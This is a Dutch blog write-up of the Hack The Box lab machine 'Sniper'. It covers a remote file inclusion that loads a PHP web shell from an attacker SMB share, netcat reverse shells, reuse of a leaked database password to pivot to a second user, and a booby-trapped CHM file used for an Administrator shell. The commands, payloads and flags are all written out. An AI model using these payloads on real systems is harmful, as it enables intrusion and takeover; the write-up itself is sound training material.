tech365
HackTheBox WriteUp Sniper

Hack The Box Writeup: Sniper

Sniper is tot nu toe de meest uitdagende box die ik gedaan heb. Het zoeken naar een manier om toegang te krijgen tot de machine als een willekeurige gebruiker was tijdrovend en achteraf best eenvoudig. Toch waren er verschillende restricties die ervoor zorgde dat ik constant nieuwe manieren moest zoeken. Niettemin is het gelukt en lees je hier mijn writeup van Sniper, een Medium box voor 30 punten.

Hack the Box Sniper

A Sniper must not be susceptible to emotions such as anxiety and remorse.

Craig Roberts

Start van de nieuwe box met een Nmap scan om een idee te krijgen bij wat er op deze box te halen valt.

nmap -sC -sV -oA sniper 10.10.10.151

[sudo] password for user:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-17 20:00 GMT
Nmap scan report for 10.10.10.151
Host is up (0.045s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Sniper Co.
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h59m58s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-02-18T04:01:36
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.01 seconds

De scan wijst uit dat er een Microsoft IIS Server reageert op poort 80. Om hier alvast even rond te kijken start ik een directory bruteforce met dirb.

dirb http://10.10.10.151

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon Feb 24 19:57:53 2020
URL_BASE: http://10.10.10.151/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.151/ ----
==> DIRECTORY: http://10.10.10.151/blog/                                                                                                   
==> DIRECTORY: http://10.10.10.151/Blog/                                                                                                   
==> DIRECTORY: http://10.10.10.151/css/                                                                                                    
==> DIRECTORY: http://10.10.10.151/images/                                                                                                 
==> DIRECTORY: http://10.10.10.151/Images/                                                                                                 
+ http://10.10.10.151/index.php (CODE:200|SIZE:2635)                                                                                       
==> DIRECTORY: http://10.10.10.151/js/                                                                                                     
==> DIRECTORY: http://10.10.10.151/user/  

Uiteindelijk niet veel wijzer geworden dan handmatig even op de website rondklikken. Er zijn drie websites te zien, de algemene, een blog en een user login site die under construction is.

htb-sniper-index

Na wat zoeken op de website kom ik op de blogpagina een optie tegen om een taal te selecteren. De url is voorzien van een parameter die een bestand aanroept. Dit geeft de suggestie om een Remote/Local File Injection (RFI/LFI) aanval uit te voeren.

htb-sniper-blog-lang

Veel van de reverse php shells werken niet of nauwelijks op deze box. Uiteindelijk gekozen voor de meest simpele variant in de vorm van onderstaande online en opgeslagen als shellz.php. Als ik een dir commando meegeef aan de url dan krijg ik keurig een directory listing. De Local File Injection (LFI) werkt.

shellz.php
<?php echo system($_GET["cmd"]); ?>

Voorafgaand aan de Remote File Inclusion (RFI) aanval zet ik alvast een Netcat listener open op poort 442.

nc -nvlp 442
listening on [any] 442 ...

De uiteindelijke url werkt na lang zoeken. Door middel van een SMB-verbinding naar een share op mijn machine roep ik mijn PHP reverse shell aan en start vervolgens vanaf dezelfde share de 64-bit versie van Netcat met mijn IP-adres voor de reverse shell op poort 442.

http://10.10.10.151/blog/?lang=\\10.10.14.233\sniper\shellz.php&amp;cmd=\\10.10.14.233\sniper\nc64.exe 10.10.14.233 442 -e cmd

De listener pakt de reverse connection op en ik heb een shell als gebruiker iusr

connect to [10.10.15.246] from (UNKNOWN) [10.10.10.151] 53423 
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\wwwroot\blog>whoami
whoami
nt authority\iusr

In de blog map is niet veel interessants te vinden. In /User zie ik een db.php bestand waarin een wachtwoord is opgeslagen voor de gebruiker dbuser. Wellicht is dit wachtwoord ook bruikbaar voor een andere gebruiker: 36mEAhz/B8xQ~2VM

</body>

</html>
<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
?>
?></body>
</html> 

Nog even checken welke gebruikers er op de box een profiel hebben om een idee te krijgen. wat er nog te halen valt. In dit geval alleen Chris.

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\Users

04/11/2019  06:04 AM    <DIR>          .
04/11/2019  06:04 AM    <DIR>          ..
04/09/2019  05:47 AM    <DIR>          Administrator
04/11/2019  06:04 AM    <DIR>          Chris
04/09/2019  05:47 AM    <DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)  17,882,988,544 bytes free

Er bestaat dus maar 1 extra gebruiker op deze box. Door middel van een reverse shell op deze box onder het iusr account probeer ik door te springen naar het account van Chris. Hiervoor start ik eerst een nieuwe Netcat listener op poort 446.

sudo nc -lnvp 446
listening on [any] 446 ...

Even zoeken naar een Powershell methode voor het starten van een nieuwe reverse shell vanuit Powershell en met wat aanpassingen is hij klaar. Op de SMB-share staat Netcat nog klaar van de RFI, dus die kan ik gelijk hergebruiken voor een reverse shell over poort 446.

$username = 'sniper\chris'
$password = '36mEAhz/B8xQ~2VM'

$cred = New-Object System.Management.Automation.PSCredential -ArgumentList @($username,(ConvertTo-SecureString -String $password -AsPlainText -Force)) 

Invoke-Command -ComputerName Sniper -Credential $cred -ScriptBlock { \\10.10.14.233\sniper\nc64.exe 10.10.14.233 446 -e cmd }

Hebbes! Netcat pakt de inkomende verbinding op en een whoami laat keurig zien dat het gevonden wachtwoord werkt voor Chris.

connect to [10.10.15.246] from (UNKNOWN) [10.10.10.151] 53473 
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Chris\Documents>whoami
whoami
sniper\chris

Gezien het feit dat dit de enige user is op de machine spring ik gelijk naar de Desktop om te user-flag te zoeken.

C:\Users\Chris\Desktop>type user.txt 
type user.txt
21f4d0f29fc4dd867500c1ad716cf56e

Met de user-flag in the pocket is het tijd om verder te zoeken. In de Download folder van Chris stat een Windows Help bestand genaamd instructions.chm. Door middel van kchmviewer bekijk ik de inhoud en vind weer een tip. Kennelijk heeft het iets te doen met een exploit rondom CHM-bestanden.

htb_sniper_chmfile

In de Docs map vind ik nog een tweede hint. Drop it here when you’re done with it. Grote kans dat CHM-bestanden in deze map automatisch opgepakt worden en uitgevoerd.

C:\Docs>type note.txt

Hi Chris,
 Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it. 

Regards,
Sniper CEO.

Ik vind een artikel over het toevoegen van code aan een CHM-bestand. Zowel manueel als via een script genaamd Nishang Out-CHM. In essentie is het niet meer dan een stuk extra code toevoegen en het CHM-bestand compileren.

.SYNOPSIS
Nishang script useful for creating Compiled HTML Help file (.CHM) which could be used to run PowerShell commands and scripts.

Ik voeg een stukje code toe om een reverse shell op te bouwen op basis van Netcat op poort 447 als een command prompt.

<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=",cmd.exe,/c c:\docs\nc64.exe -nv 10.10.14.233 447 -e c:\Windows\system32\cmd.exe">
 <PARAM name="Item2" value="273,1,1">
</OBJECT>

Aan het einde van het bestand roep ik de functie aan om het geheel te compileren en wordt er keurig een bestandje met de naam doc.chm aangemaakt.

Out-CHM -Payload "" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

Voor het afvangen van de inkomende verbinding start ik nog een Netcat listener op poort 447.

netcat -lnvp 447
listening on [any] 447 ...

De shell is nog actief en kan ik gebruiken om zowel 64-bit Netcat als het CHM-bestand te kopiëren naar de map Docs zoals aangegeven in het bericht van de CEO.

copy \\10.10.14.233\sniper\upload\*.*
 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\Docs

02/24/2020 05:06 PM <DIR> .
02/24/2020 05:06 PM <DIR> ..
02/24/2020 08:49 AM 45,272 nc64.exe
04/11/2019 08:31 AM 285 note.txt
04/11/2019 08:17 AM 552,607 php for dummies-trial.pdf
02/24/2020 09:04 AM 13,380 Project.chm
               4 File(s) 611,544 bytes
               2 Dir(s) 17,935,466,496 bytes free

Na het kopiëren van het bestand naar Project.chm zie ik hem binnen enkele seconden verdwijnen en pakt de listener de inkomende verbinding op.

connect to [10.10.14.233] from (UNKNOWN) [10.10.10.151] 56190

Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>

Op de reverse shell ben ik inderdaad verbonden als Administrator en staat de root-key op de plaats waar ik hem verwacht.

C:\Users\Administrator\Desktop>whoami
whoami
sniper\administrator

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640
 Directory of C:\Users\Administrator\Desktop
10/01/2019 07:44 AM <DIR> .
10/01/2019 07:44 AM <DIR> ..
04/11/2019 07:13 AM 32 root.txt
               1 File(s) 32 bytes
               2 Dir(s) 17,935,482,880 bytes free

De laatste flag van de box. Het ging niet altijd van harte, maar wel weer veel geleerd. In de praktijk is het onwaarschijnlijk dat een .CHM-bestand op een server automatisch verwerkt wordt, maar op een werkstation kan dit dan weer prima. Het was in ieder geval wel een originele manier om root te pakken.

C:\Users\Administrator\Desktop>type root.txt
type root.txt
5624caf363e2750e994f6be0b7436c15

Martijn

Martijn is naast eigenaar van tech365 ook werkzaam als IT Professional. Zijn passies zijn gadgets, fotografie en alles wat met automotive te maken heeft. Je kunt hem ook vinden als blogger op wielerblog www.lifebehindbars.nl

Reageren

Geef een reactie

Deze website gebruikt Akismet om spam te verminderen. Bekijk hoe je reactie-gegevens worden verwerkt.

Privacy opties

Wijzig je voorkeur voor het bijhouden van gegevens op tech365.

Privacybeleid | Sluiten
Instellingen